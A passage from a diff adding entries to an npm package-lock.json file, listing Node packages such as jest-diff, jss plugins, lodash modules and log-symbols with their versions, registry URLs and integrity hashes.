"sha512-C/CPBqKWnvdcxqIARxyOh4v1UUEOCHpgDa0WYgpKDFMszcrPcffg5uhwSgPCLD2WWxmq6isisz87tzT01tuGhg==", + "dev": true, + "dependencies": { + "has-symbols": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-typedarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-typedarray/-/is-typedarray-1.0.0.tgz", + "integrity": "sha1-5HnICFjfDBsR3dppQPlgEfzaSpo=", + "dev": true + }, + "node_modules/is-unicode-supported": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/is-unicode-supported/-/is-unicode-supported-0.1.0.tgz", + "integrity": "sha512-knxG2q4UC3u8stRGyAVJCOdxFmv5DZiRcdlIaAQXAbSfJya+OhopNotLQrstBhququ4ZpuKbDc/8S6mgXgPFPw==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-weakref": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-weakref/-/is-weakref-1.0.1.tgz", + "integrity": "sha512-b2jKc2pQZjaeFYWEf7ScFj+Be1I+PXmlu572Q8coTXZ+LD/QQZ7ShPMst8h16riVgyXTQwUsFEl74mDvc/3MHQ==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-wsl": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/is-wsl/-/is-wsl-2.2.0.tgz", + "integrity": "sha512-fKzAra0rGJUUBwGBgNkHZuToZcn+TtXHpeCgmkMJMMYx1sQDYaCSyjJBSCa2nH1DGm7s3n1oBnohoVTBaN7Lww==", + "dev": true, + "dependencies": { + "is-docker": "^2.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/isarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", + "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=", + "dev": true + }, + "node_modules/isexe": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", + "integrity": "sha1-6PvzdNxVb/iUehDcsFctYz8s+hA=", + "dev": true + }, + "node_modules/isobject": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", + "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/isomorphic-fetch": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/isomorphic-fetch/-/isomorphic-fetch-2.2.1.tgz", + "integrity": "sha1-YRrhrPFPXoH3KVB0coGf6XM1WKk=", + "dependencies": { + "node-fetch": "^1.0.1", + "whatwg-fetch": ">=0.10.0" + } + }, + "node_modules/jest-diff": { + "version": "26.6.2", + "resolved": "https://registry.npmjs.org/jest-diff/-/jest-diff-26.6.2.tgz", + "integrity": "sha512-6m+9Z3Gv9wN0WFVasqjCL/06+EFCMTqDEUl/b87HYK2rAPTyfz4ZIuSlPhY51PIQRWx5TaxeF1qmXKe9gfN3sA==", + "dev": true, + "dependencies": { + "chalk": "^4.0.0", + "diff-sequences": "^26.6.2", + "jest-get-type": "^26.3.0", + "pretty-format": "^26.6.2" + }, + "engines": { + "node": ">= 10.14.2" + } + }, + "node_modules/jest-diff/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/jest-diff/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/jest-diff/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/jest-diff/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "node_modules/jest-diff/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-diff/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-get-type": { + "version": "26.3.0", + "resolved": "https://registry.npmjs.org/jest-get-type/-/jest-get-type-26.3.0.tgz", + "integrity": "sha512-TpfaviN1R2pQWkIihlfEanwOXK0zcxrKEE4MlU6Tn7keoXdN6/3gK/xl0yEh8DOunn5pOVGKf8hB4R9gVh04ig==", + "dev": true, + "engines": { + "node": ">= 10.14.2" + } + }, + "node_modules/jest-worker": { + "version": "27.2.4", + "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-27.2.4.tgz", + "integrity": "sha512-Zq9A2Pw59KkVjBBKD1i3iE2e22oSjXhUKKuAK1HGX8flGwkm6NMozyEYzKd41hXc64dbd/0eWFeEEuxqXyhM+g==", + "dependencies": { + "@types/node": "*", + "merge-stream": "^2.0.0", + "supports-color": "^8.0.0" + }, + "engines": { + "node": ">= 10.13.0" + } + }, + "node_modules/jest-worker/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-worker/node_modules/supports-color": { + "version": "8.1.1", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz", + "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/supports-color?sponsor=1" + } + }, + "node_modules/js-tokens": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", + "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==" + }, + "node_modules/js-yaml": { + "version": "3.13.1", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.13.1.tgz", + "integrity": "sha512-YfbcO7jXDdyj0DGxYVSlSeQNHbD7XPWvrVWeVUujrQEoZzWJIRrCPoyk6kL6IAjAG2IolMK4T0hNUe0HOUs5Jw==", + "dev": true, + "dependencies": { + "argparse": "^1.0.7", + "esprima": "^4.0.0" + }, + "bin": { + "js-yaml": "bin/js-yaml.js" + } + }, + "node_modules/jsesc": { + "version": "2.5.2", + "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-2.5.2.tgz", + "integrity": "sha512-OYu7XEzjkCQ3C5Ps3QIZsQfNpqoJyZZA99wd9aWd05NCtC5pWOkShK2mkL6HXQR6/Cy2lbNdPlZBpuQHXE63gA==", + "dev": true, + "bin": { + "jsesc": "bin/jsesc" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/json-parse-better-errors": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/json-parse-better-errors/-/json-parse-better-errors-1.0.2.tgz", + "integrity": "sha512-mrqyZKfX5EhL7hvqcV6WG1yYjnjeuYDzDhhcAAUrq8Po85NBQBJP+ZDUT75qZQ98IkUoBqdkExkukOU7Ts2wrw==" + }, + "node_modules/json-parse-even-better-errors": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/json-parse-even-better-errors/-/json-parse-even-better-errors-2.3.1.tgz", + "integrity": "sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w==" + }, + "node_modules/json-schema-traverse": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", + "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==" + }, + "node_modules/json-stable-stringify-without-jsonify": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz", + "integrity": "sha1-nbe1lJatPzz+8wp1FC0tkwrXJlE=", + "dev": true + }, + "node_modules/json5": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/json5/-/json5-1.0.1.tgz", + "integrity": "sha512-aKS4WQjPenRxiQsC93MNfjx+nbF4PAdYzmd/1JIj8HYzqfbu86beTuNgXDzPknWk0n0uARlyewZo4s++ES36Ow==", + "dependencies": { + "minimist": "^1.2.0" + }, + "bin": { + "json5": "lib/cli.js" + } + }, + "node_modules/jsonfile": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-4.0.0.tgz", + "integrity": "sha1-h3Gq4HmbZAdrdmQPygWPnBDjPss=", + "dev": true, + "optionalDependencies": { + "graceful-fs": "^4.1.6" + } + }, + "node_modules/jss": { + "version": "10.8.0", + "resolved": "https://registry.npmjs.org/jss/-/jss-10.8.0.tgz", + "integrity": "sha512-6fAMLJrVQ8epM5ghghxWqCwRR0ZamP2cKbOAtzPudcCMSNdAqtvmzQvljUZYR8OXJIeb/IpZeOXA1sDXms4R1w==", + "dependencies": { + "@babel/runtime": "^7.3.1", + "csstype": "^3.0.2", + "is-in-browser": "^1.1.3", + "tiny-warning": "^1.0.2" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/jss" + } + }, + "node_modules/jss-plugin-camel-case": { + "version": "10.8.0", + "resolved": "https://registry.npmjs.org/jss-plugin-camel-case/-/jss-plugin-camel-case-10.8.0.tgz", + "integrity": "sha512-yxlXrXwcCdGw+H4BC187dEu/RFyW8joMcWfj8Rk9UPgWTKu2Xh7Sib4iW3xXjHe/t5phOHF1rBsHleHykWix7g==", + "dependencies": { + "@babel/runtime": "^7.3.1", + "hyphenate-style-name": "^1.0.3", + "jss": "10.8.0" + } + }, + "node_modules/jss-plugin-default-unit": { + "version": "10.8.0", + "resolved": "https://registry.npmjs.org/jss-plugin-default-unit/-/jss-plugin-default-unit-10.8.0.tgz", + "integrity": "sha512-9XJV546cY9zV9OvIE/v/dOaxSi4062VfYQQfwbplRExcsU2a79Yn+qDz/4ciw6P4LV1Naq90U+OffAGRHfNq/Q==", + "dependencies": { + "@babel/runtime": "^7.3.1", + "jss": "10.8.0" + } + }, + "node_modules/jss-plugin-global": { + "version": "10.8.0", + "resolved": "https://registry.npmjs.org/jss-plugin-global/-/jss-plugin-global-10.8.0.tgz", + "integrity": "sha512-H/8h/bHd4e7P0MpZ9zaUG8NQSB2ie9rWo/vcCP6bHVerbKLGzj+dsY22IY3+/FNRS8zDmUyqdZx3rD8k4nmH4w==", + "dependencies": { + "@babel/runtime": "^7.3.1", + "jss": "10.8.0" + } + }, + "node_modules/jss-plugin-nested": { + "version": "10.8.0", + "resolved": "https://registry.npmjs.org/jss-plugin-nested/-/jss-plugin-nested-10.8.0.tgz", + "integrity": "sha512-MhmINZkSxyFILcFBuDoZmP1+wj9fik/b9SsjoaggkGjdvMQCES21mj4K5ZnRGVm448gIXyi9j/eZjtDzhaHUYQ==", + "dependencies": { + "@babel/runtime": "^7.3.1", + "jss": "10.8.0", + "tiny-warning": "^1.0.2" + } + }, + "node_modules/jss-plugin-props-sort": { + "version": "10.8.0", + "resolved": "https://registry.npmjs.org/jss-plugin-props-sort/-/jss-plugin-props-sort-10.8.0.tgz", + "integrity": "sha512-VY+Wt5WX5GMsXDmd+Ts8+O16fpiCM81svbox++U3LDbJSM/g9FoMx3HPhwUiDfmgHL9jWdqEuvSl/JAk+mh6mQ==", + "dependencies": { + "@babel/runtime": "^7.3.1", + "jss": "10.8.0" + } + }, + "node_modules/jss-plugin-rule-value-function": { + "version": "10.8.0", + "resolved": "https://registry.npmjs.org/jss-plugin-rule-value-function/-/jss-plugin-rule-value-function-10.8.0.tgz", + "integrity": "sha512-R8N8Ma6Oye1F9HroiUuHhVjpPsVq97uAh+rMI6XwKLqirIu2KFb5x33hPj+vNBMxSHc9jakhf5wG0BbQ7fSDOg==", + "dependencies": { + "@babel/runtime": "^7.3.1", + "jss": "10.8.0", + "tiny-warning": "^1.0.2" + } + }, + "node_modules/jss-plugin-vendor-prefixer": { + "version": "10.8.0", + "resolved": "https://registry.npmjs.org/jss-plugin-vendor-prefixer/-/jss-plugin-vendor-prefixer-10.8.0.tgz", + "integrity": "sha512-G1zD0J8dFwKZQ+GaZaay7A/Tg7lhDw0iEkJ/iFFA5UPuvZFpMprCMQttXcTBhLlhhWnyZ8YPn4yqp+amrhQekw==", + "dependencies": { + "@babel/runtime": "^7.3.1", + "css-vendor": "^2.0.8", + "jss": "10.8.0" + } + }, + "node_modules/jss/node_modules/csstype": { + "version": "3.0.9", + "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.0.9.tgz", + "integrity": "sha512-rpw6JPxK6Rfg1zLOYCSwle2GFOOsnjmDYDaBwEcwoOg4qlsIVCN789VkBZDJAGi4T07gI4YSutR43t9Zz4Lzuw==" + }, + "node_modules/jsx-ast-utils": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/jsx-ast-utils/-/jsx-ast-utils-3.2.1.tgz", + "integrity": "sha512-uP5vu8xfy2F9A6LGC22KO7e2/vGTS1MhP+18f++ZNlf0Ohaxbc9nIEwHAsejlJKyzfZzU5UIhe5ItYkitcZnZA==", + "dev": true, + "dependencies": { + "array-includes": "^3.1.3", + "object.assign": "^4.1.2" + }, + "engines": { + "node": ">=4.0" + } + }, + "node_modules/jwt-decode": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/jwt-decode/-/jwt-decode-2.2.0.tgz", + "integrity": "sha1-fYa9VmefWM5qhHBKZX3TkruoGnk=" + }, + "node_modules/kind-of": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz", + "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/known-css-properties": { + "version": "0.21.0", + "resolved": "https://registry.npmjs.org/known-css-properties/-/known-css-properties-0.21.0.tgz", + "integrity": "sha512-sZLUnTqimCkvkgRS+kbPlYW5o8q5w1cu+uIisKpEWkj31I8mx8kNG162DwRav8Zirkva6N5uoFsm9kzK4mUXjw==", + "dev": true + }, + "node_modules/levn": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/levn/-/levn-0.3.0.tgz", + "integrity": "sha1-OwmSTt+fCDwEkP3UwLxEIeBHZO4=", + "dev": true, + "dependencies": { + "prelude-ls": "~1.1.2", + "type-check": "~0.3.2" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/lines-and-columns": { + "version": "1.1.6", + "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.1.6.tgz", + "integrity": "sha1-HADHQ7QzzQpOgHWPe2SldEDZ/wA=" + }, + "node_modules/loader-runner": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/loader-runner/-/loader-runner-4.2.0.tgz", + "integrity": "sha512-92+huvxMvYlMzMt0iIOukcwYBFpkYJdpl2xsZ7LrlayO7E8SOv+JJUEK17B/dJIHAOLMfh2dZZ/Y18WgmGtYNw==", + "engines": { + "node": ">=6.11.5" + } + }, + "node_modules/loader-utils": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-1.4.0.tgz", + "integrity": "sha512-qH0WSMBtn/oHuwjy/NucEgbx5dbxxnxup9s4PVXJUDHZBQY+s0NWA9rJf53RBnQZxfch7euUui7hpoAPvALZdA==", + "dependencies": { + "big.js": "^5.2.2", + "emojis-list": "^3.0.0", + "json5": "^1.0.1" + }, + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/locate-path": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz", + "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==", + "dev": true, + "dependencies": { + "p-locate": "^4.1.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/lodash": { + "version": "4.17.21", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz", + "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==" + }, + "node_modules/lodash.assignwith": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/lodash.assignwith/-/lodash.assignwith-4.2.0.tgz", + "integrity": "sha1-EnqX8CrcQXUalU0ksN4X4QDgOOs=" + }, + "node_modules/lodash.clonedeep": { + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/lodash.clonedeep/-/lodash.clonedeep-4.5.0.tgz", + "integrity": "sha1-4j8/nE+Pvd6HJSnBBxhXoIblzO8=" + }, + "node_modules/lodash.curry": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/lodash.curry/-/lodash.curry-4.1.1.tgz", + "integrity": "sha1-JI42By7ekGUB11lmIAqG2riyMXA=" + }, + "node_modules/lodash.debounce": { + "version": "4.0.8", + "resolved": "https://registry.npmjs.org/lodash.debounce/-/lodash.debounce-4.0.8.tgz", + "integrity": "sha1-gteb/zCmfEAF/9XiUVMArZyk168=" + }, + "node_modules/lodash.find": { + "version": "4.6.0", + "resolved": "https://registry.npmjs.org/lodash.find/-/lodash.find-4.6.0.tgz", + "integrity": "sha1-ywcE1Hq3F4n/oN6Ll92Sb7iLE7E=" + }, + "node_modules/lodash.flow": { + "version": "3.5.0", + "resolved": "https://registry.npmjs.org/lodash.flow/-/lodash.flow-3.5.0.tgz", + "integrity": "sha1-h79AKSuM+D5OjOGjrkIJ4gBxZ1o=" + }, + "node_modules/lodash.get": { + "version": "4.4.2", + "resolved": "https://registry.npmjs.org/lodash.get/-/lodash.get-4.4.2.tgz", + "integrity": "sha1-LRd/ZS+jHpObRDjVNBSZ36OCXpk=" + }, + "node_modules/lodash.isequal": { + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/lodash.isequal/-/lodash.isequal-4.5.0.tgz", + "integrity": "sha1-QVxEePK8wwEgwizhDtMib30+GOA=" + }, + "node_modules/lodash.isundefined": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/lodash.isundefined/-/lodash.isundefined-3.0.1.tgz", + "integrity": "sha1-I+89lTVWUgOmbO/VuDD4SJEa+0g=" + }, + "node_modules/lodash.memoize": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/lodash.memoize/-/lodash.memoize-4.1.2.tgz", + "integrity": "sha1-vMbEmkKihA7Zl/Mj6tpezRguC/4=" + }, + "node_modules/lodash.merge": { + "version": "4.6.2", + "resolved": "https://registry.npmjs.org/lodash.merge/-/lodash.merge-4.6.2.tgz", + "integrity": "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==" + }, + "node_modules/lodash.pick": { + "version": "4.4.0", + "resolved": "https://registry.npmjs.org/lodash.pick/-/lodash.pick-4.4.0.tgz", + "integrity": "sha1-UvBWEP/53tQiYRRB7R/BI6AwAbM=" + }, + "node_modules/lodash.throttle": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/lodash.throttle/-/lodash.throttle-4.1.1.tgz", + "integrity": "sha1-wj6RtxAkKscMN/HhzaknTMOb8vQ=" + }, + "node_modules/lodash.topath": { + "version": "4.5.2", + "resolved": "https://registry.npmjs.org/lodash.topath/-/lodash.topath-4.5.2.tgz", + "integrity": "sha1-NhY1Hzu6YZlKCTGYlmC9AyVP0Ak=" + }, + "node_modules/lodash.truncate": { + "version": "4.4.2", + "resolved": "https://registry.npmjs.org/lodash.truncate/-/lodash.truncate-4.4.2.tgz", + "integrity": "sha1-WjUNoLERO4N+z//VgSy+WNbq4ZM=", + "dev": true + }, + "node_modules/log-symbols": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-4.1.0.tgz", + "integrity": "sha512-8XPvpAA8uyhfteu8pIvQxpJZ7SYYdpUivZpGy6sFsBuKRY/7rQGavedeB8aK+Zkyq6upMFVL/9AW6vOYzfRyLg==", + "dev": true, + "dependencies": { + "chalk": "^4.1.0", + "is-unicode-supported": "^0.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/log-symbols/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/log-symbols/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/log-symbols/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/log-symbols/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "node_modules/log-symbols/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/log-symbols/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/longest-streak": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/longest-streak/-/longest-streak-2.0.4.tgz", + "integrity": "sha512-vM6rUVCVUJJt33bnmHiZEvr7wPT78ztX7rojL+LW51bHtLh6HTjx84LA5W4+oa6aKEJA7jJu5LR6vQRBpA5DVg==", + "dev": true, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/loose-envify": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/loose-envify/-/loose-envify-1.4.0.tgz", + "integrity": "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==", + "dependencies": { + "js-tokens": "^3.0.0 || ^4.0.0" + }, + "bin": { + "loose-envify": "cli.js" + } + }, + "node_modules/lower-case": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/lower-case/-/lower-case-1.1.4.tgz", + "integrity": "sha1-miyr0bno4K6ZOkv31YdcOcQujqw=", + "dev": true + }, + "node_modules/lru-cache": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", + "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", + "dev": true, + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/make-dir": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-2.1.0.tgz", + "integrity": "sha512-LS9X+dc8KLxXCb8dni79fLIIUA5VyZoyjSMCwTluaXA0o27cCK0bhXkpgw+sTXVpPy/lSO57ilRixqk0vDmtRA==", + "dev": true, + "dependencies": { + "pify": "^4.0.1", + "semver": "^5.6.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/map-obj": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/map-obj/-/map-obj-4.3.0.tgz", + "integrity": "sha512-hdN1wVrZbb29eBGiGjJbeP8JbKjq1urkHJ/LIP/NY48MZ1QVXUsQBV1G1zvYFHn1XE06cwjBsOI2K3Ulnj1YXQ==", + "dev": true, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/marked": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/marked/-/marked-2.1.3.tgz", + "integrity": "sha512-/Q+7MGzaETqifOMWYEA7HVMaZb4XbcRfaOzcSsHZEith83KGlvaSG33u0SKu89Mj5h+T8V2hM+8O45Qc5XTgwA==", + "bin": { + "marked": "bin/marked" + }, + "engines": { + "node": ">= 10" + } + }, + "node_modules/mathml-tag-names": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/mathml-tag-names/-/mathml-tag-names-2.1.3.tgz", + "integrity": "sha512-APMBEanjybaPzUrfqU0IMU5I0AswKMH7k8OTLs0vvV4KZpExkTkY87nR/zpbuTPj+gARop7aGUbl11pnDfW6xg==", + "dev": true, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/mdast-util-from-markdown": { + "version": "0.8.5", + "resolved": "https://registry.npmjs.org/mdast-util-from-markdown/-/mdast-util-from-markdown-0.8.5.tgz", + "integrity": "sha512-2hkTXtYYnr+NubD/g6KGBS/0mFmBcifAsI0yIWRiRo0PjVs6SSOSOdtzbp6kSGnShDN6G5aWZpKQ2lWRy27mWQ==", + "dev": true, + "dependencies": { + "@types/mdast": "^3.0.0", + "mdast-util-to-string": "^2.0.0", + "micromark": "~2.11.0", + "parse-entities": "^2.0.0", + "unist-util-stringify-position": "^2.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-to-markdown": { + "version": "0.6.5", + "resolved": "https://registry.npmjs.org/mdast-util-to-markdown/-/mdast-util-to-markdown-0.6.5.tgz", + 